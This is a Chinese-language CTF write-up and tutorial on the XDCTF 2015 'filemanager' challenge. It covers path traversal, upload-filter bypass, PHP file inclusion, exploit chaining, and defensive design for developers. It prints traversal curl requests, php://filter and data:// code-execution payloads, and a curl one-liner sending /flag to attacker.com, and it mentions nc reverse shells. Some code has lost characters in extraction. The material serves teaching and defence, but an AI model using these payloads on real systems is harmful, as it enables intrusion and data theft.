1. 从一道经典题目看文件管理器的安全设计盲区文件管理器这个词做Web安全的人看到它脑子里第一反应大概率不是那种桌面端的资源管理器而是一个跑在浏览器里的、能上传、能查看、能删除文件的小型Web应用。这类应用在各类CTF比赛里出现的频率极高原因很简单它天然涉及文件系统操作而文件系统操作恰恰是Web安全里最容易出问题的地方。[XDCTF 2015]filemanager这道题就是这类题目的一个典型代表它模拟了一个在线文件管理平台用户可以在上面浏览目录、上传文件、读取文件内容。看起来功能很朴素但朴素的外表下往往藏着好几层需要仔细拆解的逻辑漏洞。我第一次接触这类题目的时候最大的困惑不是漏洞在哪而是我该从哪里开始看。一个文件管理器前端有上传表单、有文件列表、有查看链接后端有接收上传的处理逻辑、有读取文件的处理逻辑、有列目录的处理逻辑。每一个环节都可能是入口每一个参数都可能是突破口。如果没有一套系统的分析思路很容易在无关的细节上浪费时间。这篇文章我想做的事情就是把这类文件管理器题目的完整分析链路拆开来讲清楚——从信息收集、功能点枚举、参数探测到漏洞定位、利用链构造、最终拿到目标文件。整个过程我会结合这道题的典型特征来展开同时补充大量在实际渗透测试和代码审计中同样适用的通用方法。适合读这篇文章的人包括正在入门Web安全方向的学习者、准备参加CTF比赛的选手、以及平时工作中需要对自己负责的Web应用做安全自查的开发者。我不会假设你已经有很深的漏洞挖掘经验但我会假设你至少了解HTTP协议的基本工作原理知道什么是GET请求、什么是POST请求能看懂简单的服务端代码逻辑。如果你连这些基础都还不具备建议先去补一补再回来因为后面的内容会涉及不少具体的请求构造和代码分析。2. 信息收集与功能点枚举先把地图画出来2.1 拿到目标后的第一轮侦察不管是在CTF比赛里拿到一个题目地址还是在真实项目里拿到一个待测试的站点第一件事永远是信息收集。很多人容易犯的一个错误是一上来就盯着某个看起来可疑的参数猛试结果试了半天没反应反而忽略了其他更明显的入口。我的习惯是先做一轮广撒网式的侦察把目标的整体面貌摸清楚再决定往哪个方向深入。对于filemanager这类题目第一轮侦察通常包括以下几个动作。打开首页观察页面结构看看有没有明显的功能入口——上传按钮、文件列表、搜索框、路径输入框等等。查看页面源代码找找有没有被注释掉的提示信息、隐藏的表单字段、引用的JavaScript文件。检查HTTP响应头看看服务端用的是什么语言、什么框架有没有暴露版本信息。用目录扫描工具跑一遍常见路径看看有没有备份文件、配置文件、源码泄露。这些动作看起来基础但往往能提供关键线索。具体到这道题首页通常会展示一个文件列表列出当前目录下的文件每个文件旁边可能有查看、下载、删除之类的操作链接。页面上大概率还有一个上传区域允许用户选择本地文件上传到服务器。有些版本还会提供一个路径输入框让用户直接输入要访问的目录路径。这些功能点就是后续分析的核心对象每一个都需要单独拎出来仔细研究。注意在做目录扫描的时候不要只扫常见的admin、backup、test这类路径还要根据目标的技术栈来定制字典。比如如果响应头显示是PHP那就重点扫.php.bak、.php.swp、.php~这类编辑器临时文件如果是Java应用就关注/WEB-INF/、/META-INF/这类目录。2.2 功能点拆解与参数梳理把页面上的功能点列出来之后下一步是搞清楚每个功能点背后对应什么样的请求。这一步需要借助浏览器的开发者工具或者用抓包工具来观察。以文件管理器为例常见的功能点和对应的请求模式大概是这样功能点请求方式典型参数可能的风险点文件列表GETdir、path、folder路径遍历、目录枚举文件查看GETfile、filename、name任意文件读取、路径遍历文件上传POSTfile、upload、filename任意文件上传、类型绕过文件删除GET/POSTfile、delete、id任意文件删除、路径遍历文件重命名POSToldname、newname路径遍历、覆盖攻击这张表不是凭空想出来的而是从大量类似题目的共性中总结出来的。你在实际操作的时候需要根据目标的具体表现来填充和调整。比如有些文件管理器把文件列表和文件查看合并在一个接口里通过不同的参数来区分操作类型有些则把上传后的文件重命名逻辑单独抽出来形成一个独立的接口。这些差异会直接影响后续的利用方式。我在分析这类题目时有一个习惯把每个功能点对应的HTTP请求完整记录下来包括请求方法、URL路径、所有参数包括Cookie和Header里的、以及服务端的响应内容。然后逐个参数做修改测试观察响应有什么变化。这个过程中参数的命名往往能透露很多信息。比如一个参数叫path那它大概率是用来拼接文件路径的一个参数叫filename那它可能直接参与文件名的构造。命名越具体越容易猜到它的用途。2.3 源码泄露与备份文件排查CTF题目和真实项目有一个很大的区别CTF题目往往会故意留一些源码泄露的口子作为解题的线索。常见的源码泄露方式包括.git目录泄露、.svn目录泄露、备份文件如index.php.bak、www.zip、编辑器临时文件如.index.php.swp、以及某些框架特有的配置文件暴露。这些在真实项目里属于配置失误在CTF里则可能是出题人故意设置的入口。对于filemanager这道题我建议优先检查以下几个位置根目录下有没有www.zip、web.zip、backup.zip这类压缩包有没有index.php.bak、index.php~、index.php.swp这类备份有没有.git/HEAD可以访问。如果运气好拿到了源码后面的分析就会轻松很多因为你可以直接看到服务端的处理逻辑知道它在哪个环节没有做过滤。实操心得检查.git泄露的时候不要只访问.git/HEAD看返回码还要尝试用工具把整个仓库拉下来。有时候.git目录是存在的但HEAD文件被删了这种情况下直接访问.git/目录列表反而能看到更多东西。另外如果目标返回的是403而不是404说明目录存在但禁止列表这时候可以尝试访问.git/config这类具体文件。3. 核心漏洞定位文件管理器最常出问题的三个环节3.1 路径遍历从只能看当前目录到想看哪看哪文件管理器最经典的漏洞就是路径遍历也叫目录穿越。原理很简单服务端接收用户传入的文件名或路径参数直接拼接到文件系统操作的API上没有对../这类向上跳转的序列做过滤。比如服务端代码可能是这样的$file $_GET[file]; readfile(/var/www/files/ . $file);如果传入file../../../etc/passwd拼接后的路径就变成了/var/www/files/../../../etc/passwd经过文件系统解析后等价于/etc/passwd于是就能读取到目标文件。这个漏洞的利用门槛很低但防御起来也不难只要对用户输入做严格的路径规范化检查确保最终解析出的路径仍然在允许的目录范围内就行。在实际测试中路径遍历的绕过方式有很多种因为不同的过滤逻辑有不同的缺陷。常见的绕过技巧包括使用....//来绕过简单的../替换替换一次后剩下的还是../使用URL编码%2e%2e%2f来绕过基于字符串匹配的过滤使用绝对路径直接指定文件位置在Windows环境下使用..\或..%5c。这些技巧需要根据目标的具体过滤逻辑来选择和组合。我在测试这道题的时候首先尝试的是最直接的方式在文件查看的参数里传入../序列看看能不能跳出当前目录。如果直接传../被拦截了就尝试双写、编码、截断等变体。这个过程需要耐心因为不同的过滤规则对应的绕过方式不一样有时候需要试好几种才能找到有效的那个。3.2 任意文件上传从只能传图片到想传什么传什么文件上传是文件管理器的另一个核心功能也是漏洞高发区。理想情况下服务端应该对上传文件的类型、大小、内容做严格检查只允许特定类型的文件上传并且把上传后的文件存放在Web不可访问的目录里。但实际实现中经常出现各种检查缺失或检查不严的情况。常见的上传漏洞类型包括前端JS检查绕过直接抓包改请求就行MIME类型检查绕过把Content-Type改成image/jpeg文件扩展名黑名单绕过用.phtml、.php5、.pht等变体文件内容检查绕过在图片文件里嵌入代码以及最严重的——服务端完全不做检查上传什么都能执行。对于filemanager这类题目上传功能往往是拿shell的入口。但要注意的是CTF题目里的上传点不一定是为了让你拿shell有时候只是为了让你上传一个特定文件来触发其他漏洞。比如上传一个.htaccess文件来改变目录的解析规则或者上传一个软链接文件来指向敏感位置。具体怎么利用取决于题目的整体设计。注意事项测试文件上传的时候不要一上来就传WebShell。先传一个普通的文本文件看看能不能上传成功、上传后能不能访问、访问时返回的Content-Type是什么。这些信息能帮你判断服务端的处理逻辑。另外上传后的文件路径往往会在响应里返回或者可以在文件列表里看到注意观察这些细节。3.3 文件包含与代码执行从读文件到执行代码文件包含漏洞通常出现在服务端使用include、require这类语句动态加载文件的时候。如果被包含的文件路径部分可控攻击者就可以通过路径遍历包含任意文件或者通过上传包含恶意代码的文件来实现代码执行。在文件管理器场景下文件包含可能出现在预览功能里——服务端为了展示文件内容直接把文件包含进来执行而不是用安全的读取方式。文件包含的利用方式分为本地文件包含和远程文件包含两种。本地文件包含可以读取服务器上的敏感文件如果配合文件上传还可以包含上传的恶意文件来执行代码。远程文件包含则要求服务端的allow_url_include选项开启可以直接包含远程服务器上的文件。在CTF题目里本地文件包含更常见因为远程文件包含的利用条件更苛刻。判断是否存在文件包含漏洞一个简单的方法是传入一个不存在的文件名观察报错信息。如果报错信息里包含failed to open stream、include之类的关键词基本可以确定是文件包含。然后尝试包含一个已知存在的文件比如/etc/passwd如果内容被输出出来说明包含成功。接下来就是想办法包含一个可控的文件通常需要结合文件上传功能。4. 完整利用链构造从入口到目标4.1 利用链的整体设计思路单独的一个漏洞往往不足以拿到最终目标需要把多个漏洞串联起来形成完整的利用链。对于filemanager这道题典型的利用链可能是这样的先通过路径遍历读取到源码或配置文件从中发现上传功能的处理逻辑和存储路径然后利用上传功能的检查缺陷上传一个恶意文件最后通过文件包含或直接访问上传的文件来执行代码读取flag。这个链条里的每一步都需要前一步提供的信息。比如不知道上传后的存储路径就没法访问上传的文件不知道服务端的过滤规则就不知道该用什么扩展名来绕过。所以整个利用过程是一个逐步深入、逐步获取信息的过程不能跳步。我在构造利用链的时候习惯先画一个简单的流程图在脑子里或者纸上把已知的信息和未知的信息标出来然后针对未知的部分设计探测方案。比如上传后的文件存在哪里这个未知信息可以通过上传一个文件名很特殊的文件然后在文件列表里搜索来定位也可以通过读取服务端的配置文件来直接获取。4.2 路径遍历读取源码的实操过程假设我们已经确认了文件查看功能存在路径遍历漏洞下一步就是利用它来读取服务端源码。读取源码的目的是了解上传功能的处理逻辑找到可以利用的缺陷。具体操作步骤如下第一步确定当前目录的绝对路径。可以通过读取/proc/self/cwdLinux环境下或者通过报错信息来推断。如果目标开启了错误显示传入一个不存在的文件路径报错信息里通常会包含完整的文件路径。第二步读取常见的源码文件。对于PHP应用优先尝试index.php、upload.php、file.php、config.php、common.php。如果这些文件不存在可以尝试读取目录列表来发现更多文件名。有些文件管理器本身就提供了列目录的功能可以直接利用。第三步分析源码中的过滤逻辑。重点看三个地方文件查看功能有没有对路径做过滤、上传功能有没有对文件类型做检查、文件包含功能有没有对包含路径做限制。把过滤逻辑的具体实现找出来才能设计针对性的绕过方案。# 假设目标地址是 http://target/index.php?filexxx # 尝试读取当前目录下的源码文件 curl http://target/index.php?fileindex.php curl http://target/index.php?fileupload.php curl http://target/index.php?fileconfig.php # 尝试路径遍历读取系统文件 curl http://target/index.php?file../../../etc/passwd curl http://target/index.php?file....//....//....//etc/passwd实操心得读取源码的时候如果直接读取.php文件返回的是空白或者报错可能是因为服务端把文件包含进来执行了而不是作为文本读取。这种情况下可以尝试读取.php.bak、.php~、.php.swp这类备份文件它们不会被当作PHP代码执行内容会原样输出。另外如果目标使用了phar://协议还可以尝试通过phar://来读取文件内容。4.3 上传绕过与文件包含的组合利用拿到源码之后如果发现上传功能存在检查缺陷就可以开始构造上传绕过了。假设源码显示上传功能只检查了文件的Content-Type没有检查扩展名那么绕过就很简单把要上传的文件改名为.php然后在抓包工具里把Content-Type改成image/jpeg发送请求即可。如果源码显示上传功能检查了扩展名但黑名单不完整那就需要找一个不在黑名单里、但能被服务端解析为PHP的扩展名。常见的变体包括.phtml、.php3、.php4、.php5、.php7、.pht、.phar。具体哪个能用取决于服务端的Apache配置里AddType或AddHandler指令的设置。上传成功之后需要确认文件的可访问路径。如果上传目录在Web根目录下直接访问即可如果不在就需要通过文件包含来执行。文件包含的利用方式取决于包含点的具体实现。如果包含点允许路径遍历可以包含上传的文件如果包含点限制了目录可以尝试用php://filter、php://input、data://等协议来绕过。// 一个典型的文件包含点 $page $_GET[page]; include($page . .php); // 利用方式1路径遍历包含上传的文件 // ?page../uploads/shell // 利用方式2使用php://filter读取源码 // ?pagephp://filter/convert.base64-encode/resourceindex // 利用方式3使用data://执行代码需要allow_url_includeOn // ?pagedata://text/plain,?php system(id);?4.4 从命令执行到读取目标文件拿到代码执行权限之后读取flag就是最后一步了。在CTF环境里flag通常放在根目录下的flag文件、/flag.txt、或者环境变量里。常见的读取命令包括cat /flag cat /flag.txt ls / find / -name flag* 2/dev/null env | grep -i flag如果目标环境限制了命令执行比如禁用了system、exec、shell_exec等函数可以尝试用其他方式读取文件。比如用PHP的文件读取函数file_get_contents、readfile、highlight_file或者用include直接包含flag文件。如果连文件读取函数都被禁用了还可以尝试用curl、wget这类命令把flag外带出来。注意事项在CTF环境里读取flag的时候要注意不要触发题目的防作弊机制。有些题目会监控flag文件的访问次数或者对flag内容做了混淆处理。如果直接cat读不到可以尝试用base64编码后再读或者用xxd、od等工具以十六进制方式读取。5. 常见问题与排查技巧实录5.1 路径遍历被拦截了怎么办路径遍历被拦截是最常见的问题之一。拦截的方式有很多种对应的绕过方式也不同。下面这张表整理了几种典型的拦截方式和对应的绕过思路拦截方式表现绕过思路替换../为空传入../后路径不变双写....//替换后剩下../过滤../关键词包含../的请求被拒绝URL编码%2e%2e%2f或使用..%2f只允许特定目录路径被强制拼接前缀使用绝对路径或尝试/proc/self/cwd检查文件是否存在不存在的文件返回错误先读取已知存在的文件再逐步探测限制文件扩展名只能读取特定类型文件使用空字节截断PHP5.3.4或找其他入口我在实际测试中遇到最多的情况是第一种和第二种。对于第一种双写是最有效的绕过方式因为过滤逻辑通常只执行一次替换替换后剩下的../不会被再次处理。对于第二种URL编码的成功率取决于服务端在过滤之前有没有做解码。如果服务端先解码再过滤编码就无效如果先过滤再解码编码就能绕过。还有一种比较隐蔽的拦截方式是服务端对路径做了realpath检查确保解析后的路径在允许的目录内。这种防御比较难绕过但也不是完全没有办法。如果允许的目录内存在软链接指向外部目录就可以通过软链接来跳出限制。另外如果服务端在realpath检查之后、实际使用路径之前存在时间窗口理论上可以通过竞争条件来绕过但这种利用方式在实际环境中很难稳定复现。5.2 上传的文件访问不了怎么排查上传文件之后访问不了可能的原因有很多。我一般按照以下顺序排查先确认上传是否真的成功了。有些上传功能会返回上传成功的提示但实际上文件并没有写入磁盘或者写到了其他位置。可以通过文件列表功能来确认文件是否存在如果列表里没有说明上传可能失败了。再确认上传后的文件路径。有些上传功能会把文件重命名或者按照日期分目录存储。这些信息通常可以在上传成功的响应里找到也可以在源码里看到。如果响应里没有返回路径可以尝试读取上传目录的列表来定位文件。然后确认上传目录是否在Web可访问范围内。如果上传目录在Web根目录之外直接通过URL访问是访问不到的需要结合文件包含来执行。这种情况下需要确认文件包含点是否允许包含上传目录下的文件。最后确认文件是否被服务端解析。如果上传的是.php文件但访问时返回的是文件内容而不是执行结果说明服务端没有把该文件当作PHP来解析。可能的原因包括扩展名不在解析范围内、上传目录禁用了脚本执行、或者文件权限不对。这时候可以尝试换一个扩展名或者通过文件包含来执行。实操心得排查上传问题的时候可以在上传的文件内容里写一个独特的字符串然后通过文件查看功能或者搜索功能来定位这个文件。这样比盲目猜测路径要高效得多。另外如果目标支持上传压缩包并自动解压可以尝试上传一个包含软链接的压缩包通过软链接来访问敏感文件。5.3 命令执行没有回显怎么处理拿到代码执行权限之后有时候会发现命令执行了但没有回显。这种情况在CTF题目里很常见出题人可能禁用了输出函数或者把输出重定向到了其他地方。处理方式有以下几种第一种是使用带外通道。让目标服务器主动向外部发起请求把执行结果带出来。常用的方式包括用curl或wget请求一个可控的地址把结果放在URL参数里用ping命令配合DNS查询把结果编码在域名里用nc反弹一个shell到外部地址。这些方式的前提是目标服务器有外网访问权限。第二种是把结果写入Web可访问的文件。比如执行cat /flag /var/www/html/flag.txt然后通过浏览器访问/flag.txt来读取。这种方式的前提是知道Web根目录的路径并且有写入权限。第三种是使用时间盲注的方式。通过命令执行的时间长短来判断条件是否成立逐字符推断出结果。这种方式效率很低但在没有其他选择的情况下也能用。# 带外通道示例把命令结果作为URL参数请求外部地址 curl http://attacker.com/?result$(cat /flag | base64) # 写入Web目录示例 cat /flag /var/www/html/flag.txt # 时间盲注示例如果flag的第一个字符是f则sleep 3秒 if [ $(cat /flag | cut -c1) f ]; then sleep 3; fi5.4 常见问题速查表问题现象可能原因排查方向路径遍历返回空白文件不存在或不可读换用已知存在的文件测试上传返回成功但文件不存在上传目录不可写或路径错误检查目录权限和上传路径配置上传的文件不执行扩展名不被解析或目录禁用执行换扩展名或通过文件包含执行命令执行无回显输出函数被禁用或输出被重定向使用带外通道或写入文件文件包含报错包含路径不正确或协议不支持检查allow_url_include配置读取源码返回空白文件被当作代码执行了读取备份文件或使用filter协议6. 从这道题延伸出的安全设计思考6.1 文件管理器类应用的安全设计要点分析完这道题之后我想从防御的角度聊一聊文件管理器类应用应该怎么设计才安全。这部分内容对于开发者来说可能比攻击技巧更有价值因为知道怎么攻击是为了更好地防御。第一文件路径的处理必须做规范化检查。不管用户传入什么路径服务端都应该先做路径规范化然后检查规范化后的路径是否在允许的根目录内。这个检查必须在服务端做不能依赖前端。具体的实现方式可以是用realpath函数解析路径然后判断解析结果是否以允许的根目录开头。第二文件上传必须做多重检查。包括检查文件扩展名是否在白名单内、检查MIME类型是否匹配、检查文件内容是否包含恶意代码、限制文件大小、把上传文件存储在Web不可访问的目录、对上传文件重命名去掉原始扩展名。这些检查缺一不可因为单一检查很容易被绕过。第三文件包含必须避免。如果业务上确实需要动态包含文件应该使用白名单机制只允许包含预定义的文件列表中的文件。绝对不要直接把用户输入拼接到include语句里。如果必须动态包含也要对包含路径做严格的规范化检查。第四错误信息必须收敛。服务端不应该把详细的错误信息返回给客户端因为错误信息里可能包含文件路径、数据库结构、框架版本等敏感信息。应该统一返回通用的错误提示把详细错误记录到服务端日志里。6.2 代码审计中快速定位文件操作漏洞的方法如果你在做代码审计面对一个庞大的项目怎么快速定位文件操作相关的漏洞我的经验是先搜索危险函数再回溯参数来源最后检查过滤逻辑。危险函数包括include、require、include_once、require_once文件包含file_get_contents、readfile、fopen、file、highlight_file、show_source文件读取file_put_contents、fwrite、move_uploaded_file文件写入unlink、rmdir文件删除system、exec、shell_exec、passthru、popen命令执行。找到这些函数之后回溯它们的参数是从哪里来的。如果参数直接来自$_GET、$_POST、$_COOKIE等用户可控的输入并且没有经过过滤那就是一个潜在的漏洞点。然后检查过滤逻辑看看过滤是否严格、是否可以被绕过。实操心得代码审计的时候不要只盯着一个文件看。文件操作漏洞往往涉及多个文件之间的调用关系比如上传功能在upload.php里但文件路径的拼接在common.php里过滤逻辑又在security.php里。需要把整个调用链梳理清楚才能准确判断漏洞是否存在。6.3 这类题目的变种与扩展方向filemanager这类题目在CTF里有很多变种了解这些变种有助于你在遇到新题目时快速定位思路。常见的变种包括一种是增加了WAF或过滤规则需要更复杂的绕过技巧。比如过滤了所有../序列但允许....//或者过滤了所有点号但允许URL编码。这类变种考察的是对过滤逻辑的理解和绕过能力。另一种是改变了文件存储方式比如把文件存储在数据库里而不是文件系统里。这种情况下路径遍历可能变成SQL注入文件包含可能变成反序列化。需要根据具体的存储方式调整利用思路。还有一种是增加了权限验证比如只有登录用户才能上传文件或者只有管理员才能查看某些文件。这种情况下需要先想办法绕过权限验证比如通过越权漏洞、会话固定、或者弱口令。不管题目怎么变核心的分析思路是不变的先摸清功能点和参数再定位漏洞点然后构造利用链最后读取目标文件。把这条主线走通了遇到变种题目也能从容应对。7. 我在实际测试中积累的几个小技巧第一个技巧是关于路径遍历的探测。不要一上来就尝试读取/etc/passwd因为有些环境里这个文件可能不存在或者不可读。更好的做法是先读取一个你确定存在的文件比如当前目录下的index.php确认路径遍历确实有效然后再逐步向外扩展。这样可以避免因为目标文件不存在而误判漏洞不存在。第二个技巧是关于上传文件的命名。如果服务端对上传文件做了重命名但重命名规则是可预测的比如按照时间戳、按照自增ID可以通过上传多个文件来推断命名规则然后预测下一个文件的名称。这样即使上传后没有返回文件路径也能通过预测来访问上传的文件。第三个技巧是关于文件包含的利用。如果allow_url_include没有开启但allow_url_fopen开启了可以尝试用php://filter来读取文件内容或者用php://input来执行POST数据中的代码。如果这两个都不行还可以尝试用data://协议但需要allow_url_include开启。第四个技巧是关于命令执行的绕过。如果system函数被禁用了可以尝试用反引号执行命令或者用popen、proc_open。如果这些都被禁用了还可以尝试用PHP的文件读取函数来读取flag不一定非要执行系统命令。第五个技巧是关于信息收集的。在CTF环境里不要忽略题目描述和提示信息。有时候出题人会在题目描述里暗示漏洞类型或者在页面上留一些看起来无关紧要的提示。这些信息往往能帮你节省大量时间。另外多关注HTTP响应头里的Server、X-Powered-By等字段它们能告诉你服务端的技术栈帮你缩小测试范围。最后再分享一个关于心态的经验。做这类题目的时候遇到卡壳是很正常的。我的做法是如果在一个方向上试了二十分钟还没有进展就暂时放下换一个方向重新开始。有时候换个角度之前忽略的细节就会突然变得明显。另外不要害怕试错每一个失败的尝试都在帮你排除一种可能性让你离正确答案更近一步。